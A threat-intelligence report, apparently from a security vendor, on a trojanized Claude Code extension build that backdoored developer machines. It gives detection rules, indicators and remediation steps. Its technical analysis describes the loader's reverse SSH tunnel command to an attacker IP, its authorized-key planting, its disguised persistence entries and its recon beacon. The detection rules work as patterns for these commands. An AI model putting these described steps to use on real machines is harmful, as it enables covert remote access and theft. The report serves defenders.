Skip to navigation

Threat reportSupply ChainTL-2026-4821

Claude Code extension (anthropic.claude-code v2.1.313) on Open VSX poisoned with persistent SSH backdoor

highACTIVE

A trojanized build of the Claude Code extension, version 2.1.313, was served to VS Code-compatible editors (Cursor, Windsurf, VSCodium and others) for roughly 11 hours on 2026-10-29. On load it planted an attacker SSH key, opened a persistent reverse SSH tunnel and beaconed host reconnaissance to attacker infrastructure.

Key facts

IdentifiersTL-2026-4821
SeverityHIGH
Affected productsAnthropic Claude Code extension for VS Code-compatible editors (anthropic.claude-code) via Open VSX / Cursor marketplace; Anysphere / Codeium / community Cursor, Windsurf, VSCodium and other VS Code-compatible editors installing from Open VSX
Weaknesses (CWE)CWE-506
MITRE ATT&CK techniquesT1016 System Network Configuration Discovery, T1021.004 SSH, T1033 System Owner/User Discovery, T1036.004 Masquerading, T1036.005 Match Legitimate Resource Name or Location, T1041 Exfiltration Over C2 Channel, T1053.003 Cron, T1053.005 Scheduled Task, T1059.001 Command and Scripting Interpreter, T1059.003 Windows Command Shell, T1059.004 Unix Shell, T1059.007 JavaScript and 9 more in the attack flow
MotivationUNKNOWN
Target sectorstechnology, software-development
Target regionsGlobal
Detection rules9 (1 shown free)
Sources6 cited sources

Detection coverage

As of 2026-11-02, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-4821 across Splunk SPL, Microsoft KQL and Sigma, covering 36 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: TL-2026-4821 IDE Extension Host Spawns Reverse SSH Tunnel / SSH Backdoor Setup — Exploitation Phase

Behaviour-first detection of the trojanized anthropic.claude-code 2.1.313 loader (TL-2026-4821). The tampered extension.js runs inside the editor's node extension host and spawns ssh -N -R '*:0:localhost:22' to tunnel@134.209.82.225, tries to enable the host SSH server (systemsetup -setremotelogin on / OpenSSH Server capability), creates persistence (SysMon task, com.apple.sysmond.plist, @reboot crontab, ~/.config/.smt) and stages the svc-telemetry tunnel key (.smtk / .stk_*). The search fires on any of those child-process behaviours when the parent is Cursor, Windsurf, VSCodium, Code or node. The tunnel logic is IOC-independent (any -R *:0:localhost:22 from an IDE parent), so it also catches re-hosted variants of the same loader.

Splunk SPL

index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 earliest=-24h
```comment: TL-2026-4821 trojanized anthropic.claude-code 2.1.313 loader - IDE or node parent spawning a reverse SSH tunnel, sshd enablement, persistence or key staging```
| search ParentImage IN ("*Cursor*","*Windsurf*","*Codium*","*Code.exe","*Code Helper*","*node.exe","*/node")
| eval cmd=lower(CommandLine), img=lower(Image)
| eval tunnel=if((like(img,"%ssh%") AND like(cmd,"% -r %:0:localhost:22%")) OR like(cmd,"%tunnel@134.209.82.225%"),1,0)
| eval enable_sshd=if((like(cmd,"%systemsetup%") AND like(cmd,"%-setremotelogin%")) OR (like(cmd,"%add-windowscapability%") AND like(cmd,"%openssh.server%")),1,0)
| eval persistence=if((like(cmd,"%schtasks%") AND like(cmd,"%/tn%sysmon%")) OR like(cmd,"%sysmond.plist%") OR like(cmd,"%.config/.smt%") OR like(cmd,"%smt.cmd%") OR like(img,"%crontab"),1,0)
| eval key_staging=if(like(cmd,"%svc-telemetry%") OR like(cmd,"%.smtk%") OR like(cmd,"%.stk_%"),1,0)
| where tunnel=1 OR enable_sshd=1 OR persistence=1 OR key_staging=1
| stats count AS events earliest(_time) AS first_seen latest(_time) AS last_seen values(CommandLine) AS command_lines max(tunnel) AS tunnel max(enable_sshd) AS enable_sshd max(persistence) AS persistence max(key_staging) AS key_staging BY host User ParentImage Image
| convert ctime(first_seen) ctime(last_seen)
| table first_seen last_seen host User ParentImage Image command_lines tunnel enable_sshd persistence key_staging events

Microsoft KQL

let ide_parents = dynamic(["node","node.exe","cursor","cursor.exe","cursor helper (plugin)","windsurf","windsurf.exe","windsurf helper (plugin)","code","code.exe","code helper (plugin)","vscodium","vscodium.exe","codium"]);
DeviceProcessEvents
| where Timestamp > ago(24h)
| where tolower(InitiatingProcessFileName) in (ide_parents)
| extend cmd = tolower(ProcessCommandLine)
| extend ReverseTunnel = (tolower(FileName) in ("ssh","ssh.exe","autossh") and cmd contains " -r " and cmd contains ":localhost:22") or cmd contains "tunnel@134.209.82.225"
| extend EnableSshd = (cmd contains "systemsetup" and cmd contains "-setremotelogin") or (cmd contains "add-windowscapability" and cmd contains "openssh.server")
| extend Persistence = (cmd contains "schtasks" and cmd contains "/tn" and cmd contains "sysmon") or cmd contains "sysmond.plist" or cmd contains ".config/.smt" or cmd contains "smt.cmd" or tolower(FileName) == "crontab"
| extend KeyStaging = cmd contains "svc-telemetry" or cmd contains ".smtk" or cmd contains ".stk_"
| where ReverseTunnel or EnableSshd or Persistence or KeyStaging
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, ReverseTunnel, EnableSshd, Persistence, KeyStaging
| order by Timestamp desc

Sigma

title: IDE Extension Host Spawning Reverse SSH Tunnel or SSH Backdoor Setup (TL-2026-4821)
id: 7c1e5a52-3b0d-4f0e-9a41-2d6a8e4f1b01
status: experimental
description: Detects a VS Code-compatible editor (Cursor, Windsurf, VSCodium, Code) or its node extension host spawning child processes consistent with the trojanized anthropic.claude-code 2.1.313 loader - reverse SSH tunnel to the attacker server, sshd enablement, persistence creation or staging of the svc-telemetry tunnel key.
references:
    - https://phorion.io/blog/offical-claude-code-vsx-compromise/
    - https://www.helpnetsecurity.com/2026/10/30/claude-code-extension-ssh-backdoor/
author: Threadlinqs Team
date: 2026-10-30
tags:
    - attack.initial-access
    - attack.t1195.002
    - attack.execution
    - attack.t1059.007
    - attack.t1059.004
    - attack.t1059.003
    - attack.command-and-control
    - attack.t1572
logsource:
    category: process_creation
detection:
    selection_parent:
        - ParentImage|contains:
              - '/Cursor.app/'
              - '/Windsurf.app/'
              - '/VSCodium.app/'
              - '/Visual Studio Code.app/'
              - '\Cursor\'
              - '\Windsurf\'
              - '\VSCodium\'
              - '\Microsoft VS Code\'
        - ParentImage|endswith:
              - '/node'
              - '\node.exe'
              - '\Cursor.exe'
              - '\Windsurf.exe'
              - '\Code.exe'
              - '\VSCodium.exe'
    selection_tunnel:
        - Image|endswith:
              - '/ssh'
              - '\ssh.exe'
              - '/autossh'
          CommandLine|contains|all:
              - ' -R '
              - ':0:localhost:22'
        - CommandLine|contains: 'tunnel@134.209.82.225'
    selection_enable_sshd:
        - CommandLine|contains|all:
              - 'systemsetup'
              - '-setremotelogin'
        - CommandLine|contains|all:
              - 'Add-WindowsCapability'
              - 'OpenSSH.Server'
    selection_persistence:
        - CommandLine|contains|all:
              - 'schtasks'
              - '/tn'
              - 'sysmon'
        - CommandLine|contains:
              - 'sysmond.plist'
              - '.config/.smt'
              - 'smt.cmd'
        - Image|endswith: '/crontab'
    selection_key_staging:
        CommandLine|contains:
            - 'svc-telemetry'
            - '.smtk'
            - '.stk_'
    condition: selection_parent and (selection_tunnel or selection_enable_sshd or selection_persistence or selection_key_staging)
falsepositives:
    - Developers legitimately tunnelling from an IDE terminal using ssh -R
    - Extensions that manage remote hosts (Remote-SSH style tooling) invoking ssh or crontab
level: high

Known false positives:

  • Developers intentionally running ssh -R reverse forwards from an integrated terminal in the editor
  • Remote-development extensions that shell out to ssh, schtasks or crontab as part of normal operation

Tuning notes: Sysmon Event ID 1 covers Windows (and Sysmon for Linux); for macOS developer fleets run the KQL flavour on Defender for Endpoint or map the same CommandLine/ParentImage logic to your EDR. Tighten ParentImage to your fleet's exact editor paths to drop the broad *node.exe wildcard, and allowlist approved jump-host destinations for legitimate ssh -R usage. Hits with tunnel=1 against 134.209.82.225 should be treated as confirmed compromise.

8 more detection rules (Splunk SPL, Microsoft KQL, Sigma) · unlock with TL Creds. Sign up free to unlock the detection rules or query them with the Threadlinqs MCP server (Purple)
  • TL-2026-4821 Malicious anthropic.claude-code 2.1.313 Extension or Known-Bad Hash Present — Exploitation Phase · unlock with TL Creds
  • TL-2026-4821 SysMon Scheduled Task / sysmond LaunchAgent / IDE-Spawned Crontab Persistence — Post-Exploitation Phase · unlock with TL Creds
  • TL-2026-4821 HTTP Recon Beacon and Network Traffic to [indicator] — C2 Phase · unlock with TL Creds
  • TL-2026-4821 SSH authorized_keys Modified by IDE / Node Process ([indicator] Key Plant) — Exploitation Phase · unlock with TL Creds
  • TL-2026-4821 macOS/Linux sysmond LaunchAgent and Hidden .smt/.smtk Tunnel Files — Post-Exploitation Phase · unlock with TL Creds
  • TL-2026-4821 Inbound SSH via Reverse Tunnel (Loopback Publickey Login / [indicator] Key) — Lateral Movement Phase · unlock with TL Creds
  • TL-2026-4821 Windows Tunnel Script, Key and Startup Persistence Artifacts — Post-Exploitation Phase · unlock with TL Creds
  • TL-2026-4821 Persistent Reverse SSH Tunnel (ssh/autossh -R *:0:localhost:22) — C2 / Lateral Movement Phase · unlock with TL Creds

Indicators of compromise

As of 2026-11-02, Threadlinqs Intelligence tracks 36 indicators of compromise for TL-2026-4821.

Sample indicators (3 of 36)

  • IP address: 134.209.82[.]225
  • Domain: ifconfig[.]me
  • File hash: ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15

Defanged, TLP:CLEAR. Full set of 36 indicators: unlock with TL Creds.

36 indicators of compromise · unlock with TL Creds. Compare plans

Technical analysis

Up to ~5,000 Cursor users were potentially affected; no actor attribution or CVE exists.

On 2026-10-29 a modified build of the Anthropic Claude Code extension (anthropic.claude-code 2.1.313) was published to the Open VSX ecosystem (reporting also references the Cursor marketplace; sources differ on the exact channel) and consumed by Cursor, Windsurf, VSCodium and other VS Code-compatible editors. Per Phorion, the tampered extension.js begins with an injected immediately invoked function expression (IIFE) prepended to the minified bundle; it imports child_process, fs, os, path, http and crypto and runs synchronously as soon as Node.js loads the extension, before the legitimate extension code initializes. Exceptions are suppressed so the extension behaves normally. One secondary source describes the loader as 66 lines.

The loader appends an Ed25519 public key with comment 'svc-telemetry' (SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk) to ~/.ssh/authorized_keys (a secondary source also lists C:\ProgramData\ssh\administrators_authorized_keys on Windows), attempts to enable the host SSH server (macOS: sudo -n systemsetup -setremotelogin on; Linux: systemctl probe; Windows: PowerShell OpenSSH Server capability install), and drops an embedded unencrypted Ed25519 tunnel key (comment 'svc-telemetry-tun', SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ) to a temp file .stk_<10 hex chars> and then ~/.config/.smtk. A detached script (~/.config/.smt, smt.cmd on Windows) loops every ~60 seconds running ssh (or autossh -M 0 if present) with -N -R '*:0:localhost:22' as user 'tunnel' to 134.209.82.225:22, using BatchMode, IdentitiesOnly, StrictHostKeyChecking=no, UserKnownHostsFile=/dev/null, ServerAliveInterval=30, ServerAliveCountMax=3 and ExitOnForwardFailure=yes. The tunnel survives closing the editor, giving the operator inbound SSH to the developer machine via the reverse port on the attacker server; logins arrive from localhost (127.0.0.1/::1) using the svc-telemetry key.

Persistence: macOS uses ~/Library/LaunchAgents/com.apple.sysmond.plist (RunAtLoad, KeepAlive) mimicking Apple naming; Linux uses a user crontab @reboot entry for ~/.config/.smt; Windows uses a scheduled task named 'SysMon' (requesting SYSTEM) with a fallback sysmon.cmd in the user Startup folder. A reconnaissance beacon is sent via HTTP POST to http://134.209.82.225:8099/beacon (and 127.0.0.1:8099/beacon) containing hostname, username, OS platform, architecture, home and working directories, global Git email, public IP (looked up via ifconfig.me / api.ipify.org), setup-stage flags and up to 40 environment variable NAMES (not values) matching KEY|TOKEN|SECRET|PASS|AWS|GCP. macOS exploitation was often hampered by a logic flaw: systemsetup -getremotelogin run without elevation errors out with exit status 0 and the script treats this as 'SSH already on', skipping enablement, so inbound access fails unless Remote Login was already on; the persistence, key planting and beaconing still occur.

Impact and response: Cursor reported up to ~5,000 users maximum; the malicious package was available approximately 11:27-22:35 Cyprus time (UTC+2) on 2026-10-29 and clean version 2.1.314 followed on 2026-10-30. Microsoft's Visual Studio Marketplace was reported unaffected by Help Net Security, though one secondary source says the package was pulled from all registries. The attacker server (reported by a secondary source as DigitalOcean-hosted) was taken offline. Uninstalling the extension does NOT remove the backdoor. The method by which publishing rights to the anthropic.claude-code namespace were obtained (hijacked account, stolen token, CI/CD compromise) has not been disclosed. Credit: Phorion (CEO Calum Hall) per Help Net Security and the Phorion advisory; one secondary source separately credits Paul McCarty (6mile/OpenSourceMalware). No threat actor has been attributed. Severity HIGH is the analyst's assessment, not a vendor score.

MITRE ATT&CK techniques by tactic:

Discovery

T1016 System Network Configuration Discovery; T1033 System Owner/User Discovery; T1082 System Information Discovery

Lateral Movement

T1021.004 SSH

Defense Evasion

T1036.004 Masquerading; T1036.005 Match Legitimate Resource Name or Location; T1564.001 Hidden Files and Directories

Exfiltration

T1041 Exfiltration Over C2 Channel

Persistence

T1053.003 Cron; T1053.005 Scheduled Task; T1098.004 SSH Authorized Keys; T1543.001 Launch Agent; T1547.001 Registry Run Keys / Startup Folder

Execution

T1059.001 Command and Scripting Interpreter; T1059.003 Windows Command Shell; T1059.004 Unix Shell; T1059.007 JavaScript

Command and Control

T1071.001 Web Protocols; T1571 Non-Standard Port; T1572 Protocol Tunneling

Initial Access

T1195.002 Compromise Software Supply Chain

Remediation

Patches

  • Update to Claude Code extension 2.1.314 or later (clean build published 2026-10-30)

Immediate actions

  • Identify hosts with anthropic.claude-code 2.1.313 installed in Cursor, Windsurf, VSCodium or other VS Code-compatible editors (e.g. cursor --list-extensions --show-versions | grep -i claude)
  • Search every ~/.ssh/authorized_keys (and C:\ProgramData\ssh\administrators_authorized_keys on Windows) for the 'svc-telemetry' key / fingerprint SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk
  • Check for ~/.config/.smt, ~/.config/.smtk, ~/Library/LaunchAgents/com.apple.sysmond.plist, $TMPDIR/.stk_*, @reboot crontab entries, the SysMon scheduled task and sysmon.cmd in the Startup folder
  • Terminate ssh/autossh processes using -R '*:0:localhost:22', unload the LaunchAgent, delete persistence files and the planted key
  • Block 134.209.82.225 (TCP 22 and 8099) at the perimeter and review egress logs for it
  • Review SSH logs for logins from 127.0.0.1/::1 using the svc-telemetry key
  • On compromised hosts: isolate, preserve evidence, and rotate credentials from a clean system

Workarounds

  • Uninstalling the extension is insufficient; remove the key, persistence files and tunnel processes manually
  • Disable macOS Remote Login / host SSH server where not required

Longer-term hardening

  • Pin or allowlist approved extension versions in developer environments
  • Prefer the official Visual Studio Marketplace for Anthropic's extension where the editor supports it
  • Alert on IDE helper/node processes writing to authorized_keys or creating com.apple.* LaunchAgents
  • Alert on outbound ssh/autossh with -R from developer endpoints
  • Rebuild affected developer machines from a trusted image where compromise is confirmed

Affected and fixed versions

  • Anthropic — Claude Code extension for VS Code-compatible editors (anthropic.claude-code) via Open VSX / Cursor marketplace
    Vulnerable versions: 2.1.313
    Fixed in: 2.1.314
  • Anysphere / Codeium / community — Cursor, Windsurf, VSCodium and other VS Code-compatible editors installing from Open VSX
    Vulnerable versions: Any install or update of anthropic.claude-code 2.1.313
    Fixed in: Extension 2.1.314

Timeline

Last updated · 2 updates · revalidated 2× · latest source

  • Cursor works with the hosting provider to take down the attacker server locked-ioc-20, disrupting the reverse tunnel and external beacon.
  • Cursor temporarily shuts down the marketplace, audits access, rotates keys and rebuilds the service before restoring availability.
  • Malicious package no longer available at ~22:35 Cyprus time, an exposure window of roughly 11 hours; Cursor reports up to ~5,000 users potentially affected.
  • Trojanized anthropic.claude-code 2.1.313 becomes available to VS Code-compatible editors (~11:27 Cyprus time, UTC+2, per Rescana); exact publishing channel (Open VSX vs Cursor marketplace) differs between sources.
  • Reporting indicates only the Cursor marketplace distributed the malicious 2.1.312/2.1.313 builds (win32-x64 and darwin-arm64); the VS Code Marketplace, Open VSX and npm did not, contradicting earlier reports. Clean version 2.1.314 is available.
  • Microsoft publishes a technical analysis of the loader (five sequential operations: recon, key install, SSH enablement, reverse tunnel, persistence plus delayed beacon), persistence mechanisms, Defender detections and hunting queries.
  • Cursor updates its security notice (11:30 PT) with per-version hashes, IOCs and remediate-macos.sh / remediate-windows.ps1 remediation scripts.
  • Help Net Security and several security blogs report the SSH backdoor; the method used to obtain publishing rights for the namespace remains undisclosed.
  • Phorion publishes its technical advisory on the compromised extension, including hashes, tunnel infrastructure and persistence artifacts; CEO Calum Hall describes the IIFE loader prepended to extension.js.
  • Cursor publicly announces the incident on X (~09:46 Cyprus time) and publishes checks for the svc-telemetry key and persistence files; attacker server reported offline.
  • Clean version 2.1.314 published across registries (~02:12-03:20 Cyprus time) per Rescana.
  • SecurityWeek reports the incident, noting up to ~5,000 potentially exposed developer systems.

Update history

Sources cited

Previous and next in supply chain

Further reading

Drafted by the Threadlinqs research pipeline from 6 sources; published ; last updated .

Threadlinqs Intelligence — Real-Time Threat Detection Platform

// threat_feed
$ sort --newest
Showing all threats

Live intelligence console

Threat level

Latest Threats